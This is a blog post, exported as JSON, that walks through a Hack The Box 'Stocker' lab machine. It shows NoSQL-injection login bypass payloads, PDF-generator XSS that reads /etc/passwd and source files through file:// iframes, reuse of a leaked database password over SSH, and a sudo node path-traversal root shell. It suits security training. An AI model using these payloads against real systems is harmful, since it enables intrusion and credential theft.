{"id":3174,"date":"2023-08-23T17:00:00","date_gmt":"2023-08-23T15:00:00","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3174"},"modified":"2023-08-23T15:52:02","modified_gmt":"2023-08-23T13:52:02","slug":"hacktheboxstocker1","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","title":{"rendered":"Hack The Box | Stocker | Write Up"},"content":{"rendered":"\n

Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n\n\n\n\n

We will check which kind of services are running in this machine with NMAP:<\/p>\n\n\n\n

sudo nmap -sT -n -Pn -sV -T4 -v 10.10.11.196<\/code><\/pre>\n\n\n\n
We have found two open ports (22\/TCP and 80\/TCP):<\/p>\n\n\n\n
PORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)\n80\/tcp open  http    nginx 1.18.0 (Ubuntu)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\n\n\n
Now, we will check the nginx server through our navigator but first we need to add the server to our \u201c\/etc\/hosts\u201d file:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We found some kind of business web page:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now, we need to check the functionality of the web page to try to find something interesting. Also, we can run \u201cffuf\u201d tool to discover more interesting directories:<\/p>\n\n\n\n
sudo ffuf -w \/usr\/share\/dirb\/wordlists\/common.txt -u http:\/\/stocker.htb\/FUZZ -v<\/code><\/pre>\n\n\n\n
[Status: 200, Size: 15463, Words: 4199, Lines: 322, Duration: 50ms]\n| URL | http:\/\/stocker.htb\/\n    * FUZZ: \n\n[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 62ms]\n| URL | http:\/\/stocker.htb\/css\n| --> | http:\/\/stocker.htb\/css\/\n    * FUZZ: css\n\n[Status: 200, Size: 1150, Words: 4, Lines: 1, Duration: 51ms]\n| URL | http:\/\/stocker.htb\/favicon.ico\n    * FUZZ: favicon.ico\n\n[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 48ms]\n| URL | http:\/\/stocker.htb\/fonts\n| --> | http:\/\/stocker.htb\/fonts\/\n    * FUZZ: fonts\n\n[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 52ms]\n| URL | http:\/\/stocker.htb\/img\n| --> | http:\/\/stocker.htb\/img\/\n    * FUZZ: img\n\n[Status: 200, Size: 15463, Words: 4199, Lines: 322, Duration: 51ms]\n| URL | http:\/\/stocker.htb\/index.html\n    * FUZZ: index.html\n\n[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 77ms]\n| URL | http:\/\/stocker.htb\/js\n| --> | http:\/\/stocker.htb\/js\/\n    * FUZZ: js\n\n:: Progress: [4614\/4614] :: Job [1\/1] :: 649 req\/sec :: Duration: [0:00:07] :: Errors: 0 ::<\/code><\/pre>\n\n\n\n
We haven’t found nothing interesting but we need to still checking the web page:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We haven’t found nothing interesting in the source code. We can try to enumerate the subdomain with \u201cfuff\u201d. We will perform a VHOST discovery (https:\/\/medium.com\/quiknapp\/fuzz-faster-with-ffuf-c18c031fc480<\/a>):<\/p>\n\n\n\n
sudo ffuf -c -w \/home\/david\/hackthebox\/stocker\/dic.txt -u http:\/\/stocker.htb -H \"Host: FUZZ.stocker.htb\" -mc 200,302,307 -v<\/code><\/pre>\n\n\n\n
I have used this dictionary:<\/p>\n\n\n\n
https:\/\/github.com\/danielmiessler\/SecLists\/blob\/master\/Discovery\/DNS\/subdomains-top1million-5000.txt<\/a><\/p>\n\n\n\n
We will found one posible directory:<\/p>\n\n\n\n
________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/stocker.htb\n :: Wordlist         : FUZZ: \/home\/david\/hackthebox\/stocker\/dic.txt\n :: Header           : Host: FUZZ.stocker.htb\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200,302,307\n________________________________________________\n\n[Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 72ms]\n| URL | http:\/\/stocker.htb\n| --> | \/login\n    * FUZZ: dev\n\n:: Progress: [4989\/4989] :: Job [1\/1] :: 653 req\/sec :: Duration: [0:00:07] :: Errors: 0 ::<\/code><\/pre>\n\n\n\n
We need to add this new subdomain in our \u201c\/etc\/hosts\u201d file:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
After that, we will can see this new web page:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Apparently is some kind of login. Let’s try to get more information about this login. We will try if we can do some SQL Injection with sqlmap:<\/p>\n\n\n\n
sudo sqlmap -u \"http:\/\/dev.stocker.htb\/login\" --data=\"username=example&password=example\"<\/code><\/pre>\n\n\n\n
We have received any information about which database is in the backend. We will try to exploit no SQL databases. We can find some information about that here (https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/NoSQL<\/a> Injection<\/a>). We will try with the next payload:<\/p>\n\n\n\n
{\"username\": {\"$ne\": null}, \"password\": {\"$ne\": null}}<\/code><\/pre>\n\n\n\n
Now, we need to modify our request to try to bypass the login. We need to modify the \u201cContent-Type\u201d and the data (user and password):<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Finally, we have done our bypass and we will received another redirection to \u201c\/stock\u201d:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we will check some function of this web page like add some products, check the cart, etc. If we check how to add some products to our basket, we will see this message:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Probable, here we have some interesting. Also, we can check the option \u201cView Cart\u201d to check our products:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
If we checking the request with burp suite we will see the petition with the data in JSON and probable we can modify it:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Another function is generating pdf’s with our purchases:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We can check the request with burp suite to see if something weird is happend:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We will see all of our products but let’s try modify our request to see if the PDF change with our values:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We will check the vulnerability XSS with Dynamic PDF. To do that we will change our \u201cSubmit Purchase\u201d request with the next payload to see if we have some tips of disclosure. We will inject this payload into the key \u201ctittle\u201d:<\/p>\n\n\n\n
<script>document.write(JSON.stringify(window.location))<\/script><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
After create our \u201corder\u201d we will click in our link to see our PDF:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We will discover that this web is vulnerable to XSS with Dynamic PDF (https:\/\/exploit-notes.hdks.org\/exploit\/web\/security-risk\/xss-with-dynamic-pdf\/<\/a>):<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we will try to extract more information to try to gain access. We can try to obtain the \u201c\/etc\/passwd\u201d file:<\/p>\n\n\n\n
<iframe src=file:\/\/\/etc\/passwd><\/iframe><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we need to generate the PDF:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We will see our data but with one issue we can’t see all the data because we have used a small iframe:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We need to modify our payload with something like this:<\/p>\n\n\n\n
<iframe src=file:\/\/\/etc\/passwd height=1000 width=1000><\/iframe><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we will see all:<\/p>\n\n\n\n
root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:103:106::\/nonexistent:\/usr\/sbin\/nologin\nsyslog:x:104:110::\/home\/syslog:\/usr\/sbin\/nologin\n_apt:x:105:65534::\/nonexistent:\/usr\/sbin\/nologin\ntss:x:106:112:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nuuidd:x:107:113::\/run\/uuidd:\/usr\/sbin\/nologin\ntcpdump:x:108:114::\/nonexistent:\/usr\/sbin\/nologin\nlandscape:x:109:116::\/var\/lib\/landscape:\/usr\/sbin\/nologin\npollinate:x:110:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:111:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nfwupd-refresh:x:112:119:fwupd-refresh user,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmongodb:x:113:65534::\/home\/mongodb:\/usr\/sbin\/nologin\nangoose:x:1001:1001:,,,:\/home\/angoose:\/bin\/bash\n_laurel:x:998:998::\/var\/log\/laurel:\/bin\/false<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We have discovered two users:<\/p>\n\n\n\n
mongodb\nangoose<\/code><\/pre>\n\n\n\n
In this point, we can try to extract more information from the index file in the directory we already have detected in our discover phase:<\/p>\n\n\n\n
\/var\/www\/dev\/ - URL<\/code><\/pre>\n\n\n\n
<iframe src=file:\/\/\/var\/www\/dev\/index.js height=1000 width=1000><\/iframe><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We will discover the database password:<\/p>\n\n\n\n
const dbURI = \"mongodb:\/\/dev:IHeardPassphrasesArePrettySecure@localhost\/dev?authSource=admin&w=1\";<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
But we can’t connect whit the user mongodb through SSH because this user has disabled this function. We will try to check this password with the another user we have discovered:<\/p>\n\n\n\n
ssh angoose@10.10.11.196 - IHeardPassphrasesArePrettySecure<\/code><\/pre>\n\n\n\n
Finally, we already have our first remote connection:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Also, we can get our user flag:<\/p>\n\n\n\n
goose@stocker:~$ ls\nflag.js  flag.js.save  user.txt\n\nangoose@stocker:~$ cat user.txt <\/code><\/pre>\n\n\n\n
Time to try to get access as a root. Let’s see if we can execute some script or something with sudo privileges:<\/p>\n\n\n\n
angoose@stocker:~$ sudo -l\n[sudo] password for angoose: \nMatching Defaults entries for angoose on stocker:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/snap\/bin\n\nUser angoose may run the following commands on stocker:\n    (ALL) \/usr\/bin\/node \/usr\/local\/scripts\/*.js<\/code><\/pre>\n\n\n\n
We have detected we can execute any \u201cjs\u201d script in the directory \u201c\/usr\/local\/scripts\u201d with the binary \u201c\/usr\/bin\/node\u201d with sudo privileges. With a little search in google we can found this link (https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/sudo\/sudo-path-traversal-privilege-escalation\/<\/a>). Now to try to do PE, first of all, we need to create a new file in \u201c\/tmp\/file.js\u201d with this content:<\/p>\n\n\n\n
require(\"child_process\").spawn(\"\/bin\/sh\", {stdio: [0, 1, 2]})<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we will do a \u201cSudo Path Traversal Privilege Escalation<\/strong><\/strong>\u201d:<\/p>\n\n\n\n
sudo \/usr\/bin\/node \/usr\/local\/scripts\/..\/..\/..\/tmp\/test.js<\/code><\/pre>\n\n\n\n
Finally, we have access like a root:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Also, we have access to the root flag:<\/p>\n\n\n\n
# cd \/root      \n\n# ls -la\ntotal 44\ndrwx------  6 root root 4096 Jan  9 10:42 .\ndrwxr-xr-x 20 root root 4096 Dec 23 16:58 ..\nlrwxrwxrwx  1 root root    9 Dec  6  2022 .bash_history -> \/dev\/null\n-rw-r--r--  1 root root 3106 Nov 19  2022 .bashrc\ndrwx------  3 root root 4096 Dec  6  2022 .cache\ndrwxr-xr-x  3 root root 4096 Dec  6  2022 .local\ndrwx------  3 root root 4096 Dec  6  2022 .mongodb\ndrwxr-xr-x  4 root root 4096 Dec  6  2022 .npm\n-rw-r--r--  1 root root  161 Dec  5  2019 .profile\n-rw-r-----  1 root root   33 Jun  9 14:08 root.txt\n-rw-r--r--  1 root root   66 Dec 21 21:35 .selected_editor\n-rw-r--r--  1 root root   13 Nov 19  2022 .vimrc\n\n# cat root.txt<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Finally, we pwned this machine!<\/p>\n","protected":false},"excerpt":{"rendered":"
Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity …<\/p>\n","protected":false},"author":1,"featured_media":3202,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[354,28,353,69,32,34,35,39,41,48,49,405,406,57],"class_list":["post-3174","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-ctf","tag-hacking","tag-hackthebox","tag-kali","tag-kali-linux","tag-linux","tag-metasploit","tag-nmap","tag-pentesting","tag-seguridad","tag-seguridad-informatica-2","tag-stocker","tag-stocker-machine","tag-windows"],"yoast_head":"\nHack The Box | Stocker | Write Up - Hardsoft Security<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hack The Box | Stocker | Write Up - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity ...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-08-23T15:00:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1\" \/>\n\t<meta property=\"og:image:width\" content=\"1107\" \/>\n\t<meta property=\"og:image:height\" content=\"948\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Hack The Box | Stocker | Write Up\",\"datePublished\":\"2023-08-23T15:00:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/\"},\"wordCount\":793,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/08\\\/image-1.png?fit=1107%2C948&ssl=1\",\"keywords\":[\"CTF\",\"hacking\",\"hackthebox\",\"kali\",\"Kali Linux\",\"Linux\",\"metasploit\",\"nmap\",\"pentesting\",\"seguridad\",\"seguridad inform\u00e1tica\",\"stocker\",\"stocker machine\",\"windows\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/\",\"name\":\"Hack The Box | Stocker | Write Up - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/08\\\/image-1.png?fit=1107%2C948&ssl=1\",\"datePublished\":\"2023-08-23T15:00:00+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/08\\\/image-1.png?fit=1107%2C948&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/08\\\/image-1.png?fit=1107%2C948&ssl=1\",\"width\":1107,\"height\":948},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/08\\\/23\\\/hacktheboxstocker1\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hack The Box | Stocker | Write Up\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hack The Box | Stocker | Write Up - Hardsoft Security","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","og_locale":"es_ES","og_type":"article","og_title":"Hack The Box | Stocker | Write Up - Hardsoft Security","og_description":"Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity ...","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2023-08-23T15:00:00+00:00","og_image":[{"width":1107,"height":948,"url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"8 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Hack The Box | Stocker | Write Up","datePublished":"2023-08-23T15:00:00+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/"},"wordCount":793,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1","keywords":["CTF","hacking","hackthebox","kali","Kali Linux","Linux","metasploit","nmap","pentesting","seguridad","seguridad inform\u00e1tica","stocker","stocker machine","windows"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","name":"Hack The Box | Stocker | Write Up - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1","datePublished":"2023-08-23T15:00:00+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1","width":1107,"height":948},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Hack The Box | Stocker | Write Up"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-Pc","jetpack-related-posts":[{"id